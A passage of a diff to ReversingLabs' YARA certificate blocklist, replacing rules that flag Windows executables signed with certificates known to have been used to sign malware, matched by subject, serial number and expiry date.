"https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14148-L14166" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8206-L8224" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "02cfdf883212387a465af3e692b29b8d0eb8249e0a260f18bec2f662d775b606" + logic_hash = "799629791646c524d170b900339b87474aed73b7156a8c4dd20f7c13cbe97929" score = 75 quality = 90 tags = "INFO, FILE" @@ -25925,21 +48319,21 @@ rule REVERSINGLABS_Cert_Blocklist_Ed9Caeb7911B31Bd : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE4\\xB8\\x8A\\xE6\\xB5\\xB7\\xE5\\xA4\\xA9\\xE6\\xB8\\xB8\\xE8\\xBD\\xAF\\xE4\\xBB\\xB6\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and ( pe.signatures [ i ] . serial == "00:ed:9c:ae:b7:91:1b:31:bd" or pe.signatures [ i ] . serial == "ed:9c:ae:b7:91:1b:31:bd" ) and 1506001740 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SHAT LIMITED" and ( pe.signatures [ i ] . serial == "00:ad:db:ec:45:4b:54:79:ca:bd:94:0a:72:df:45:00:af" or pe.signatures [ i ] . serial == "ad:db:ec:45:4b:54:79:ca:bd:94:0a:72:df:45:00:af" ) and 1612828800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0Fd2B19A941B7009Cc728A37Cb1B10B9 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Ac307E5257Bb814B818D3633B630326F : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "125c0b95-82bb-5900-8e8c-4359b8cd18ab" + id = "c33d798a-854c-5fab-afbe-e94d142befa7" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14168-L14184" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8226-L8244" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6b5cc47f4df9e57c59bc66c32188e02390d4855a1b9e56bd7471fd641a245c3c" + logic_hash = "10819bd2194fface6db812f8c6770c306c183386d2d9ba97467a5b55fd997194" score = 75 quality = 90 tags = "INFO, FILE" @@ -25949,21 +48343,21 @@ rule REVERSINGLABS_Cert_Blocklist_0Fd2B19A941B7009Cc728A37Cb1B10B9 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BEAR AND CILLA LTD" and pe.signatures [ i ] . serial == "0f:d2:b1:9a:94:1b:70:09:cc:72:8a:37:cb:1b:10:b9" and 1560470400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Aqua Direct s.r.o." and ( pe.signatures [ i ] . serial == "00:ac:30:7e:52:57:bb:81:4b:81:8d:36:33:b6:30:32:6f" or pe.signatures [ i ] . serial == "ac:30:7e:52:57:bb:81:4b:81:8d:36:33:b6:30:32:6f" ) and 1606089600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_2D88C0Af1Fe2609961C171213C03Bd23 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0D83E7F47189Cdbfc7Fa3E5F58882329 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "0e844bef-1cfe-5eba-af4d-d8477e55470c" + id = "d6bda332-06fc-5b1a-99fb-fc9578dc5326" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14186-L14202" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8246-L8262" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2d181b9b517732f14d196c1a6c5661d8de4dbbfe6f120954dd3f9dcad00ff0fe" + logic_hash = "b344f9fd6d8378b7d77a34b14c5f37eea253f3d13a8eb0777925f195fb3cf502" score = 75 quality = 90 tags = "INFO, FILE" @@ -25973,21 +48367,21 @@ rule REVERSINGLABS_Cert_Blocklist_2D88C0Af1Fe2609961C171213C03Bd23 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Zhuzhou Lizhong Precision Manufacturing Technology Co., Ltd." and pe.signatures [ i ] . serial == "2d:88:c0:af:1f:e2:60:99:61:c1:71:21:3c:03:bd:23" and 1683676800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "THE WIZARD GIFT CORPORATION" and pe.signatures [ i ] . serial == "0d:83:e7:f4:71:89:cd:bf:c7:fa:3e:5f:58:88:23:29" and 1605830400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6E7Cc176062D91225Cfdcbdf5B5F0Ea5 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_58Aa64564A50E8B2D6E31D5Cd6250Fde : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "cb6ae82f-ac1e-528d-aa17-6dc14019793c" + id = "00e096f6-2955-5936-9a75-f537c2da3621" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14204-L14220" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8264-L8280" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1d2ffa7ec3559061432c2aff23f568cb580fb9093d0af7d8a6a0b91add89c9cc" + logic_hash = "f6b50ebf707b67650fe832d81c6fe8d2411cd83432ef94432d181db0c29aa48b" score = 75 quality = 90 tags = "INFO, FILE" @@ -25997,21 +48391,21 @@ rule REVERSINGLABS_Cert_Blocklist_6E7Cc176062D91225Cfdcbdf5B5F0Ea5 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SG Internet" and pe.signatures [ i ] . serial == "6e:7c:c1:76:06:2d:91:22:5c:fd:cb:df:5b:5f:0e:a5" and 1317945600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Foreground" and pe.signatures [ i ] . serial == "58:aa:64:56:4a:50:e8:b2:d6:e3:1d:5c:d6:25:0f:de" and 1609002028 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Cecedd2Efc985C2Dbf0019669D270079 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_2Aa0Ae245B487C8926C88Ee6D736D1Ca : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "60a3e63c-4f44-5c75-9928-69859d77af3e" + id = "d2d61fd7-2392-5d75-9c5b-4e4fddfc7a83" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14222-L14240" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8282-L8298" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1dfb5959db6929643126a850de84e54a84d7197518cde475c802987721b71020" + logic_hash = "5a362175600552983ae838ca18aa378dc748b8b68bd8b67a9387794d983ed1a2" score = 75 quality = 90 tags = "INFO, FILE" @@ -26021,21 +48415,21 @@ rule REVERSINGLABS_Cert_Blocklist_Cecedd2Efc985C2Dbf0019669D270079 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TRANS LTD" and ( pe.signatures [ i ] . serial == "00:ce:ce:dd:2e:fc:98:5c:2d:bf:00:19:66:9d:27:00:79" or pe.signatures [ i ] . serial == "ce:ce:dd:2e:fc:98:5c:2d:bf:00:19:66:9d:27:00:79" ) and 1527811200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PILOTE SPRL" and pe.signatures [ i ] . serial == "2a:a0:ae:24:5b:48:7c:89:26:c8:8e:e6:d7:36:d1:ca" and 1612262280 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_61Fe6F00Bd79684210534050Ff46Bc92 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_1Aec3D3F752A38617C1D7A677D0B5591 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "b88e0bbf-ab3a-51ac-8542-d4f92116f5e9" + id = "02f2bf36-e573-502c-8ecc-843a6e627c2b" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14242-L14258" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8300-L8316" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e8ebc5de081e2d1e653493a2d85699ebfb5227b7fab656468025c2043903f597" + logic_hash = "b299833a19944ca6943ba9c974ec95369c57cd61acc8b2e1b5310edd077762c2" score = 75 quality = 90 tags = "INFO, FILE" @@ -26045,21 +48439,21 @@ rule REVERSINGLABS_Cert_Blocklist_61Fe6F00Bd79684210534050Ff46Bc92 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xingning Dexin Network Technology Co., Ltd." and pe.signatures [ i ] . serial == "61:fe:6f:00:bd:79:68:42:10:53:40:50:ff:46:bc:92" and 1512000000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SILVER d.o.o." and pe.signatures [ i ] . serial == "1a:ec:3d:3f:75:2a:38:61:7c:1d:7a:67:7d:0b:55:91" and 1611705600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0323Cc4E38735B0E6Efba76Ea25C73B7 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_A7E1Dc5352C3852C5523030F57F2425C : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "0f3889d5-fb57-5745-999e-7dff0ddf7ee9" + id = "a2795796-2897-55ad-936c-456c3b93bf14" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14260-L14276" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8318-L8336" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "48bda7f61c9705ae70add3940f10d65fc7f7a776cec91a244f0e5bde07303831" + logic_hash = "79c42c9a4eeeb69a62a16590e2b0b63818785509a40d543c7efe27ec6baaa19e" score = 75 quality = 90 tags = "INFO, FILE" @@ -26069,21 +48463,21 @@ rule REVERSINGLABS_Cert_Blocklist_0323Cc4E38735B0E6Efba76Ea25C73B7 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xingning Dexin Network Technology Co., Ltd." and pe.signatures [ i ] . serial == "03:23:cc:4e:38:73:5b:0e:6e:fb:a7:6e:a2:5c:73:b7" and 1512000000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Pushka LLC" and ( pe.signatures [ i ] . serial == "00:a7:e1:dc:53:52:c3:85:2c:55:23:03:0f:57:f2:42:5c" or pe.signatures [ i ] . serial == "a7:e1:dc:53:52:c3:85:2c:55:23:03:0f:57:f2:42:5c" ) and 1611792000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_1F9Aca069Ac1B6Bfb0E14861Ec857Bf6 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Bbd4Dc3768A51Aa2B3059C1Bad569276 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "b78e3bc2-5b65-507a-9183-148f97baa3e8" + id = "ee861c79-fea2-5931-873d-b76e5bdef593" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14278-L14294" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8338-L8356" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d7c9a471455768a00deeb73900bf80a98f0b2c9da1fd09d568e2998deaf404d2" + logic_hash = "f336570834e0663c6e589fa22b3541f4f79c40ff945dd91f1fd1258a96adeceb" score = 75 quality = 90 tags = "INFO, FILE" @@ -26093,21 +48487,21 @@ rule REVERSINGLABS_Cert_Blocklist_1F9Aca069Ac1B6Bfb0E14861Ec857Bf6 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yuanyuan Zhang" and pe.signatures [ i ] . serial == "1f:9a:ca:06:9a:c1:b6:bf:b0:e1:48:61:ec:85:7b:f6" and 1477440000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "JJ ELECTRICAL SERVICES LIMITED" and ( pe.signatures [ i ] . serial == "00:bb:d4:dc:37:68:a5:1a:a2:b3:05:9c:1b:ad:56:92:76" or pe.signatures [ i ] . serial == "bb:d4:dc:37:68:a5:1a:a2:b3:05:9c:1b:ad:56:92:76" ) and 1607472000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_3E9D26Dcf703Ca3B140D7E7Ad48312E2 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_08622B9Dd9D78E67678Ecc21E026522E : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "3ad650b2-45ea-5324-b8dc-b48094ae2376" + id = "66d942c7-ceb9-54e5-bccc-1adf641fd70e" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14296-L14312" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8358-L8374" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d8f70ba61509f3df34705bea0bfcb4cce3e92a33f0f1b65315d886eb5592f152" + logic_hash = "09507b09b035195b74434f56041588f67245fa097183228dffc612bb4901825b" score = 75 quality = 90 tags = "INFO, FILE" @@ -26117,21 +48511,21 @@ rule REVERSINGLABS_Cert_Blocklist_3E9D26Dcf703Ca3B140D7E7Ad48312E2 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Dong Qian" and pe.signatures [ i ] . serial == "3e:9d:26:dc:f7:03:ca:3b:14:0d:7e:7a:d4:83:12:e2" and 1440580240 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Kayak Republic af 2015 APS" and pe.signatures [ i ] . serial == "08:62:2b:9d:d9:d7:8e:67:67:8e:cc:21:e0:26:52:2e" and 1611619200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_4E2523E76Ea455941E75Fb8240474A75 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_E69A6De0074Ece38C2F30F0D4A808456 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "be5e6f35-6177-50bb-82ea-55628acda4c2" + id = "17571f1e-1dce-5216-8f45-467e5d77ccf1" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14314-L14330" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8376-L8394" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e89f722345fda82fd894d34169d1463997ae1d567d46badbf3138faa04cf8fa4" + logic_hash = "21d8641d2394120847044f0e6f4d868095a1e30c0b594a3d045877ab9b3808a1" score = 75 quality = 90 tags = "INFO, FILE" @@ -26141,21 +48535,21 @@ rule REVERSINGLABS_Cert_Blocklist_4E2523E76Ea455941E75Fb8240474A75 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "4e:25:23:e7:6e:a4:55:94:1e:75:fb:82:40:47:4a:75" and 1476403200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Semantic" and ( pe.signatures [ i ] . serial == "00:e6:9a:6d:e0:07:4e:ce:38:c2:f3:0f:0d:4a:80:84:56" or pe.signatures [ i ] . serial == "e6:9a:6d:e0:07:4e:ce:38:c2:f3:0f:0d:4a:80:84:56" ) and 1611532800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6102468293Ba7308D17Efb43Ad6Bfb58 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_8385684419Ab26A3F2640B1496E1Fe94 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "bcf0f1cc-44f2-5498-b9d7-9ad3f38e33bc" + id = "03e861a0-156e-5366-a312-dc2aa73b0393" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14332-L14348" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8396-L8414" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c1ae1562595ac6515a071a16195b46db6fad4ee0fe9757d366ee78b914e1de7f" + logic_hash = "24f75badc335160a8053a4c7e8bbd8ddbd3266c3a18059a937d5989df97ae9d9" score = 75 quality = 90 tags = "INFO, FILE" @@ -26165,21 +48559,21 @@ rule REVERSINGLABS_Cert_Blocklist_6102468293Ba7308D17Efb43Ad6Bfb58 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Beijing Caiyunshidai Technology Co., Ltd." and pe.signatures [ i ] . serial == "61:02:46:82:93:ba:73:08:d1:7e:fb:43:ad:6b:fb:58" and 1470960000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CAUSE FOR CHANGE LTD" and ( pe.signatures [ i ] . serial == "00:83:85:68:44:19:ab:26:a3:f2:64:0b:14:96:e1:fe:94" or pe.signatures [ i ] . serial == "83:85:68:44:19:ab:26:a3:f2:64:0b:14:96:e1:fe:94" ) and 1612137600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6Ded1A7Ff6Da152A98A57A2F : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_21E3Cae5B77C41528658Ada08509C392 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "033c9ce3-1676-5ad1-9ec1-08b3ffc585bb" + id = "fdb1903b-15c1-5cb7-892f-58957303d3b4" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14350-L14366" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8416-L8432" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "20ec1e8e0570eb216304fd8453df315a26d9c170224177c325c10cbefc1993fb" + logic_hash = "2e24ed0bd0bf3c36cae4bf106a2c17386bfb58b76372068be9745c2d501f30fc" score = 75 quality = 90 tags = "INFO, FILE" @@ -26189,21 +48583,21 @@ rule REVERSINGLABS_Cert_Blocklist_6Ded1A7Ff6Da152A98A57A2F : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BIG JOURNEY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "6d:ed:1a:7f:f6:da:15:2a:98:a5:7a:2f" and 1479094343 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Network Design International Holdings Limited" and pe.signatures [ i ] . serial == "21:e3:ca:e5:b7:7c:41:52:86:58:ad:a0:85:09:c3:92" and 1609233559 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_3Ce65Ea057B975D2C17Eaf2C2297B1Eb : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_2Abd2Eef14D480Dfea9Ca9Fdd823Cf03 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f86fbd6f-1635-56d7-b390-e067f81b8705" + id = "d6cb1371-113d-5155-aed2-c575321f0973" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14368-L14384" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8434-L8450" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e17988cb2503e285cfe2ea74d7bc61c577d828e14fd5d8d8062e469dc75c449e" + logic_hash = "2dfc220c44d3dda28a253e5115ae9a087b6ddbf1a7ca1e9bcae5bd9ac5b2e1a0" score = 75 quality = 90 tags = "INFO, FILE" @@ -26213,21 +48607,21 @@ rule REVERSINGLABS_Cert_Blocklist_3Ce65Ea057B975D2C17Eaf2C2297B1Eb : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TRANS LTD" and pe.signatures [ i ] . serial == "3c:e6:5e:a0:57:b9:75:d2:c1:7e:af:2c:22:97:b1:eb" and 1528243200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BE SOL d.o.o." and pe.signatures [ i ] . serial == "2a:bd:2e:ef:14:d4:80:df:ea:9c:a9:fd:d8:23:cf:03" and 1611100800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_5D085A9A288549D09Edc4941 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_86909B91F07F9316984D888D1E28Ab76 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8fa1f434-2061-5131-9378-58c584eff447" + id = "3cde0016-14d8-5b3a-860e-f5128f899542" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14386-L14402" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8452-L8470" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "dff7c2d727acca753b030d05028590e1a5577121bb2b4c0dcfcb70b4c9d77cbf" + logic_hash = "abd84492ed008125688a53e20d51780fa0b8c2309dcf751ff76a03d6f337beaa" score = 75 quality = 90 tags = "INFO, FILE" @@ -26237,21 +48631,21 @@ rule REVERSINGLABS_Cert_Blocklist_5D085A9A288549D09Edc4941 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BIG JOURNEY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "5d:08:5a:9a:28:85:49:d0:9e:dc:49:41" and 1478757821 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Dantherm Intelligent Monitoring A/S" and ( pe.signatures [ i ] . serial == "00:86:90:9b:91:f0:7f:93:16:98:4d:88:8d:1e:28:ab:76" or pe.signatures [ i ] . serial == "86:90:9b:91:f0:7f:93:16:98:4d:88:8d:1e:28:ab:76" ) and 1611273600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_7D20Dec3797A1Ac30649Ebb184265B79 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_D1B8F1Fe56381Befdb2E73Ffef2A4B28 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "5344bda2-bc11-5700-a0f7-52792c5bb87a" + id = "226371ea-670f-52f2-8dfc-78b30a29a5cc" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14404-L14420" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8472-L8490" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = 